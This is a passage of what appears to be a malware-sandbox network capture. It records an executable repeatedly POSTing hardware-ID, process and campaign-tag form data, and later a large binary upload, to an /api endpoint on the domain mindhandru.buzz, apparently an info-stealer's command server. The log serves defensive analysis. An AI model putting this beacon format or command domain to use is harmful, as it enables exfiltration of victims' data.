2024-12-27 07:44:57 UTC	1369	IN	Data Raw: 7a 39 63 2b 48 42 52 38 75 75 4d 6f 69 54 70 6b 41 69 35 39 58 71 32 47 34 64 45 33 37 39 70 53 33 6b 70 6c 2b 6a 4b 36 6c 75 78 61 70 7a 2b 4d 46 48 6f 4b 42 37 6e 63 6a 76 46 6d 6a 30 77 4c 6a 68 49 30 73 49 65 5a 76 62 50 2f 47 69 56 72 51 36 72 79 79 69 38 6a 6e 77 6b 52 69 4f 37 7a 4c 55 6b 2f 68 41 50 62 65 4a 75 4e 70 38 53 30 68 70 6b 63 42 66 6f 66 73 49 34 54 50 77 65 4d 58 79 63 36 2f 54 55 64 6e 79 4d 73 4b 54 75 51 4e 33 39 73 48 37 79 47 35 4d 4c 67 66 6b 67 51 66 30 75 30 6d 4e 45 72 6c 37 69 4f 49 6b 35 73 30 4b 6d 75 35 38 6e 63 57 2b 54 69 58 72 68 36 44 6e 4c 55 4e 51 42 6f 33 62 45 72 4c 30 47 49 59 76 73 47 2b 43 38 69 4b 36 70 67 57 55 35 6d 57 4c 6b 37 42 41 59 36 53 66 71 4a 41 74 44 77 46 35 6d 38 74 59 71 66 6b 4c 35 48 7a 73 66 Data Ascii: z9c+HBR8uuMoiTpkAi59Xq2G4dE379pS3kpl+jK6luxapz+MFHoKB7ncjvFmj0wLjhI0sIeZvbP/GiVrQ6ryyi8jnwkRiO7zLUk/hAPbeJuNp8S0hpkcBfofsI4TPweMXyc6/TUdnyMsKTuQN39sH7yG5MLgfkgQf0u0mNErl7iOIk5s0Kmu58ncW+TiXrh6DnLUNQBo3bErL0GIYvsG+C8iK6pgWU5mWLk7BAY6SfqJAtDwF5m8tYqfkL5Hzsf
2024-12-27 07:44:57 UTC	1369	IN	Data Raw: 69 67 68 47 58 35 32 53 4c 6b 37 42 41 61 71 53 66 77 5a 34 6c 53 79 39 33 67 34 4e 4b 71 75 78 74 73 43 4b 77 5a 70 50 31 66 74 43 50 47 4a 6a 32 59 6f 33 63 76 6b 34 6c 34 6f 65 67 6a 43 4e 4c 46 43 69 44 77 31 71 67 39 77 33 67 65 2b 34 7a 6d 71 6f 71 74 35 64 66 77 62 49 38 32 73 47 2b 57 43 57 6a 78 4f 72 4d 61 77 67 47 4f 6f 53 6c 4e 4e 57 69 58 37 49 36 72 6e 61 4b 71 78 33 42 6f 43 47 6e 39 58 47 55 33 66 6b 57 64 4b 53 4a 75 4e 45 74 55 79 6c 35 69 39 73 31 76 4f 78 41 38 33 54 2b 56 49 62 71 50 66 43 58 44 74 54 48 66 4a 33 53 36 42 42 79 36 34 6a 57 36 45 78 4c 58 6e 6e 46 32 31 4b 67 34 68 69 33 50 66 34 35 31 62 5a 6f 6f 74 4a 49 79 62 4a 74 31 4d 71 2b 46 69 57 38 6c 62 61 65 66 30 74 49 65 59 53 59 47 4f 43 71 57 36 55 76 2b 56 2b 37 77 7a Data Ascii: ighGX52SLk7BAaqSfwZ4lSy93g4NKquxtsCKwZpP1ftCPGJj2Yo3cvk4l4oegjCNLFCiDw1qg9w3ge+4zmqoqt5dfwbI82sG+WCWjxOrMawgGOoSlNNWiX7I6rnaKqx3BoCGn9XGU3fkWdKSJuNEtUyl5i9s1vOxA83T+VIbqPfCXDtTHfJ3S6BBy64jW6ExLXnnF21Kg4hi3Pf451bZootJIybJt1Mq+FiW8lbaef0tIeYSYGOCqW6Uv+V+7wz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.165.185	443	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:44:59 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YFVZ69KDWPIIMZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12817 Host: mindhandru.buzz
2024-12-27 07:44:59 UTC	12817	OUT	Data Raw: 2d 2d 59 46 56 5a 36 39 4b 44 57 50 49 49 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 41 39 46 37 42 32 44 31 32 36 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 59 46 56 5a 36 39 4b 44 57 50 49 49 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 46 56 5a 36 39 4b 44 57 50 49 49 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 59 46 Data Ascii: --YFVZ69KDWPIIMZContent-Disposition: form-data; name="hwid"57A9F7B2D126FC5EBEBA0C6A975F1733--YFVZ69KDWPIIMZContent-Disposition: form-data; name="pid"2--YFVZ69KDWPIIMZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--YF
2024-12-27 07:45:00 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0hpfnc6ckhgtdt62jlpehak7hp; expires=Tue, 22 Apr 2025 01:31:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zgAZRHfSG56DTkl5nhoVmxOzSH5NCbMpkP4HVfrGxP8nC9U4%2BkXScnTAzjwkvzqyQUSx3lqMr78RC40T0RAtX7Q%2BGPEbfAXhtNXc%2FboL34J0Ha%2FkJe4Wop2r9rifTjUUuO4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b0437eaf0f79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1564&rtt_var=596&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13752&delivery_rate=1819314&cwnd=241&unsent_bytes=0&cid=3ce6722da37eb454&ts=1168&x=0"
2024-12-27 07:45:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:45:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.165.185	443	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:01 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AQUD685P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15023 Host: mindhandru.buzz
2024-12-27 07:45:01 UTC	15023	OUT	Data Raw: 2d 2d 41 51 55 44 36 38 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 41 39 46 37 42 32 44 31 32 36 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 41 51 55 44 36 38 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 51 55 44 36 38 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 51 55 44 36 38 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --AQUD685PContent-Disposition: form-data; name="hwid"57A9F7B2D126FC5EBEBA0C6A975F1733--AQUD685PContent-Disposition: form-data; name="pid"2--AQUD685PContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--AQUD685PContent-Di
2024-12-27 07:45:02 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lg211d1tgq2jndkbefq8rhk3do; expires=Tue, 22 Apr 2025 01:31:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TsMLwmOTC96qDbd4U6ZtIg3ZKdYPQeXZTHvtENDlxDIAmoPpaLbP5AvXZSM4hITcpBRAg6CLl2Psa8W6cJJANA0puO3%2FYiYzc5Z3fMmJVUxlDRzhJanYNaLOE9rT9HOe8EY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b0539c6d8c7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&min_rtt=1798&rtt_var=684&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15952&delivery_rate=1589548&cwnd=186&unsent_bytes=0&cid=7a238a212032f76b&ts=1025&x=0"
2024-12-27 07:45:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:45:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.165.185	443	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:04 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1ECK7GMP6OIBAKFYZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20567 Host: mindhandru.buzz
2024-12-27 07:45:04 UTC	15331	OUT	Data Raw: 2d 2d 31 45 43 4b 37 47 4d 50 36 4f 49 42 41 4b 46 59 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 41 39 46 37 42 32 44 31 32 36 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 31 45 43 4b 37 47 4d 50 36 4f 49 42 41 4b 46 59 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 31 45 43 4b 37 47 4d 50 36 4f 49 42 41 4b 46 59 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --1ECK7GMP6OIBAKFYZContent-Disposition: form-data; name="hwid"57A9F7B2D126FC5EBEBA0C6A975F1733--1ECK7GMP6OIBAKFYZContent-Disposition: form-data; name="pid"3--1ECK7GMP6OIBAKFYZContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-27 07:45:04 UTC	5236	OUT	Data Raw: 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 56vMMZh'F3Wun 4F([:7s~X`nO
2024-12-27 07:45:05 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dn02rajhn01le2ua6rsbfbrojd; expires=Tue, 22 Apr 2025 01:31:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qHBNizchCEfSL2If1jh0hl3ieXlavzLANE56cgi1x9e0fVsNXWWo0XnxOhvsBl7ZQDwxzqKEp8OI56ZPQftatqvDBQtgVvqlw8vo4PPO8Uq9mroz3WNCuc1ZeB0F%2Bnw6%2B5M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b06399170f3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&min_rtt=1484&rtt_var=566&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21527&delivery_rate=1914754&cwnd=215&unsent_bytes=0&cid=4a7a81ea1972967a&ts=1009&x=0"
2024-12-27 07:45:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:45:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	172.67.165.185	443	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:07 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QBS4PPUVRSV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: mindhandru.buzz
2024-12-27 07:45:07 UTC	1235	OUT	Data Raw: 2d 2d 51 42 53 34 50 50 55 56 52 53 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 41 39 46 37 42 32 44 31 32 36 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 51 42 53 34 50 50 55 56 52 53 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 42 53 34 50 50 55 56 52 53 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 42 53 34 50 50 55 56 52 53 56 Data Ascii: --QBS4PPUVRSVContent-Disposition: form-data; name="hwid"57A9F7B2D126FC5EBEBA0C6A975F1733--QBS4PPUVRSVContent-Disposition: form-data; name="pid"1--QBS4PPUVRSVContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--QBS4PPUVRSV
2024-12-27 07:45:07 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=arbi6hbbdvu9ndkr89jsfujccr; expires=Tue, 22 Apr 2025 01:31:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pdTuVeyvZbgz%2F5wiiQ3VjfxbuD6uyj6V3trE5YpUb1FLx8kh7PwIAw5exz8SU8oIWUnbve2ka48meFOTZQvLde5LIYUd8l%2FcnCQNfKkPa3Pngpiv3boojWMHdpMGIvQ0zEA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b074cd297cf9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1788&rtt_var=692&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2144&delivery_rate=1557333&cwnd=207&unsent_bytes=0&cid=913b5145905c2808&ts=771&x=0"
2024-12-27 07:45:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:45:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	172.67.165.185	443	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:10 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H55SSI2KXZOHI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584810 Host: mindhandru.buzz
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: 2d 2d 48 35 35 53 53 49 32 4b 58 5a 4f 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 41 39 46 37 42 32 44 31 32 36 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 48 35 35 53 53 49 32 4b 58 5a 4f 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 35 35 53 53 49 32 4b 58 5a 4f 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 35 35 53 53 Data Ascii: --H55SSI2KXZOHIContent-Disposition: form-data; name="hwid"57A9F7B2D126FC5EBEBA0C6A975F1733--H55SSI2KXZOHIContent-Disposition: form-data; name="pid"1--H55SSI2KXZOHIContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--H55SS
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: 9e 63 b4 ec 79 7b 27 a6 1c 74 cb 20 37 13 b0 13 7e e7 f8 60 81 69 62 23 e3 6b 4a 68 d7 87 a2 e7 e4 42 4e d3 5d 73 31 70 af 98 7f d6 e1 57 94 1e 5c e9 3d 67 5c f0 31 88 ea 0d a1 c0 9b 2b 14 5c d4 fe 04 09 a0 34 0d a5 d5 c2 a9 47 9d 98 46 a0 78 05 c5 bc f6 1a b0 b5 3e 8e 1e d7 10 5e 0d 6a 1e 18 35 21 37 18 1b 0f 67 51 53 36 c7 b1 bb 02 d6 ef 75 c9 d7 31 04 41 7a 72 cf ff 7f 7f 65 b7 02 88 5b 92 85 07 00 bc 0f ff 65 59 09 d8 e7 43 74 54 92 79 b7 73 1a 65 56 6c 63 d9 d9 c3 14 ae fc 59 1f 3f 4e ca e5 33 77 0a cb fd 51 3d f4 53 88 36 b5 90 ef da 04 58 49 9b 4a 1a 2e c0 eb 52 81 f0 41 38 02 4b 72 19 a9 d4 11 c8 f2 a8 4c d2 ca 3d d9 83 eb 0f 93 43 37 df a5 b2 d8 7d 8b f7 4f f3 92 3f 93 43 ea c4 32 ba 5c d0 6f e4 ad 46 4b a5 c0 64 23 b5 bc f3 11 fd d1 1d e6 66 7a Data Ascii: cy{'t 7~`ib#kJhBN]s1pW\=g\1+\4GFx>^j5!7gQS6u1Azre[eYCtTyseVlcY?N3wQ=S6XIJ.RA8KrL=C7}O?C2\oFKd#fz
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: a1 f1 bb b3 4a a5 d4 ec 6e ab 82 38 13 03 ad d6 d2 b5 6e 9e bc ea 02 3d 39 f1 e4 b0 0c f8 19 b4 9a fd e1 d4 fd 4f 84 6d 68 df 2b 5a bc 6f 5b 99 48 de f6 85 bb f8 7e ac 2b ed d9 ee 75 8a e1 e5 4f 49 9a 56 ce a0 37 9c 88 0d c7 78 16 3d b6 99 7b 68 42 a3 e9 97 5f 3f 6a 7c a9 b5 55 ea 4e ed a5 6a 08 15 3a 37 db 1f 9b 9e d0 5c e7 27 29 da fb 68 f0 43 71 8e fa 52 6e ae d5 d0 15 e1 43 42 4c 4d 55 f0 fc 80 80 42 f6 a6 31 12 b0 f1 51 dd 0d 48 15 55 c3 2a 4b 34 2a 86 9f eb 89 0e 37 4e 46 cf 9a 74 2e 3b 3b 84 a9 43 cc bf 2f ef a0 13 d6 cf 6d 26 ca 0f 7a 96 f5 17 77 3b 78 36 5c 1f 50 ff d8 3f e2 51 b1 76 95 33 35 b4 d1 79 3c 75 1e 8e 0e bb 6b 20 00 c3 a1 d2 8e a1 51 06 8b 59 f9 03 5e f5 8a e3 ff 0a 3b ae 58 5d 7c 88 b3 9e 7b 03 cf 4e 12 c0 85 65 ee aa 17 06 d0 a6 f5 Data Ascii: Jn8n=9Omh+Zo[H~+uOIV7x={hB_?j\|UNj:7\')hCqRnCBLMUB1QHUK47NFt.;;C/m&zw;x6\P?Qv35y<uk QY^;X]\|{Ne
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: 50 ab ec 0e b3 9d ab ec 43 f1 2d ee 63 59 9f 50 0e ee 36 c0 e2 6a 2d 0f 8b 71 51 ef e1 fb bc cf b7 b4 0e 61 87 53 74 de ad 84 d4 63 92 bf 3c 43 71 7d 11 03 7d 94 21 59 a8 55 6f f0 39 25 8e df 9d e9 c0 4c 50 e8 f5 60 79 d8 fb 5a 06 f4 37 5e ac 2d 2f 7e 4f 4f 38 3b dc f8 c0 ea 95 cc 39 fa 30 d8 ad 39 70 53 b3 e3 52 e4 90 67 c2 03 bd 15 9d 9f 0b 56 cc 51 9b 9b f3 09 bc 9d 1c ba 1f b7 ec d2 a5 53 4a d6 d3 57 63 63 ee 2e bb dc e0 62 be eb 3e 7f 51 01 6c 78 bd 5d fb 79 48 0d 9c 8b bc cd f4 f9 dd b9 68 ea c0 07 95 eb f9 dd c4 60 73 62 02 3a 5b 3a e5 33 18 49 8c 2a 50 b4 a2 3d a6 fb f5 6c c8 6a c9 71 b6 78 75 a1 d7 e3 b4 ad 82 6e 39 ef d8 0a 97 7c ea d7 ed 6c 8e c4 37 27 81 88 53 a3 72 0c db e8 a7 4f 53 9b 93 3b 45 c2 3b b5 5a c3 8f 8c a8 ad 63 d2 4e e0 b4 c5 af Data Ascii: PC-cYP6j-qQaStc<Cq}}!YUo9%LP`yZ7^-/~OO8;909pSRgVQSJWcc.b>Qlx]yHh`sb:[:3I*P=ljqxun9\|l7'SrOS;E;ZcN
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: b2 15 f3 29 2a 44 71 16 d6 1f e0 03 17 c8 30 b6 02 21 91 21 59 ea 48 92 27 42 e9 28 5e 86 eb ea 46 d2 6c bf 9a ff 84 f3 d7 87 75 eb c5 e7 ef e4 f0 c1 05 e0 02 64 c5 06 8c d7 51 ea f6 30 68 74 77 cd f3 86 87 2a 8a 7f ee ba 8f 32 b0 c3 ad 5d 9f ee ab 40 ef 48 2d 62 40 8f 76 d8 f0 d4 20 c5 dc 21 ad 31 8c 6f e2 ec b5 14 48 94 57 09 09 1b 18 1d 1a 9c 8d 78 b1 8a da fb 90 24 a8 e6 b2 6b 9e cf 7e 5c cf 33 f2 bf 23 21 e8 10 01 82 c3 9f 57 bf cc 06 f9 f3 f0 16 43 c1 8a 5c e8 96 62 c8 dc 2e 5c 67 cf bc ef 98 1a c6 b2 39 5d 63 97 7f 4e 66 f2 7d 31 43 60 d1 fb 2c 4d 1e 5c bd 87 33 25 0a cc d5 b1 6b 71 2e 9b cd ee f0 2d 1e 99 f6 51 63 9d 6f 69 de 8f d7 61 d9 1e 17 f5 d9 f3 0a f1 28 c3 45 76 90 14 19 99 28 fc 38 af 09 44 ca 93 15 6a db 1a 7b b5 43 d3 ac d1 43 27 2e e5 Data Ascii: )Dq0!!YH'B(^FludQ0htw2]@H-b@v !1oHWx$k~\3#!WC\b.\g9]cNf}1C`,M\3%kq.-Qcoia(Ev(8Dj{CC'.
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: 26 2d 6d e8 17 40 5e ef e1 16 04 4c a7 b9 a1 8b 0f eb f9 ae dc bc 69 8c 07 ef 0a 1f 9d aa b6 37 07 0d de 65 80 1b 70 63 96 7a 82 24 7a 7f fb 66 eb 24 93 12 83 0c 96 38 cb 3a c5 a3 e8 a9 94 95 ae b1 2d 05 aa 30 dd 49 4f 0e a4 a5 4e 39 29 54 9c 60 4b 85 c3 81 a7 49 b3 12 23 e9 17 f1 0d 27 83 33 7e 26 24 3a b6 e8 eb d7 54 b4 a4 90 6b 34 9b f0 91 ae d3 5d 4f 82 2d f1 13 e3 6c 09 a7 74 74 c4 91 a5 84 71 57 e0 77 14 75 f1 3c 01 c4 3c a5 b1 78 66 c9 14 86 02 0f 18 90 e0 82 ad 67 63 12 fc 8d 5a 8b 83 5e a6 4e a9 9c 81 10 c8 f8 9f 12 a3 22 c1 7e 8c 94 fe 00 ca e4 ad 85 18 87 ae 02 96 b9 00 90 40 bf b8 05 e6 d7 0e 0f 8a 6f 2f 5d a4 f5 5b d8 fa 2c 8d 55 6a 60 bf 53 6c c9 4c 5b 72 a1 e7 50 0d 68 d7 a4 c2 97 8f 1b 3d 8f b2 0a ea 2d 54 e9 f9 ec 6f 5f b8 bf b3 3a 22 fa Data Ascii: &-m@^Li7epcz$zf$8:-0ION9)T`KI#'3~&$:Tk4]O-lttqWwu<<xfgcZ^N"~@o/][,Uj`SlL[rPh=-To_:"
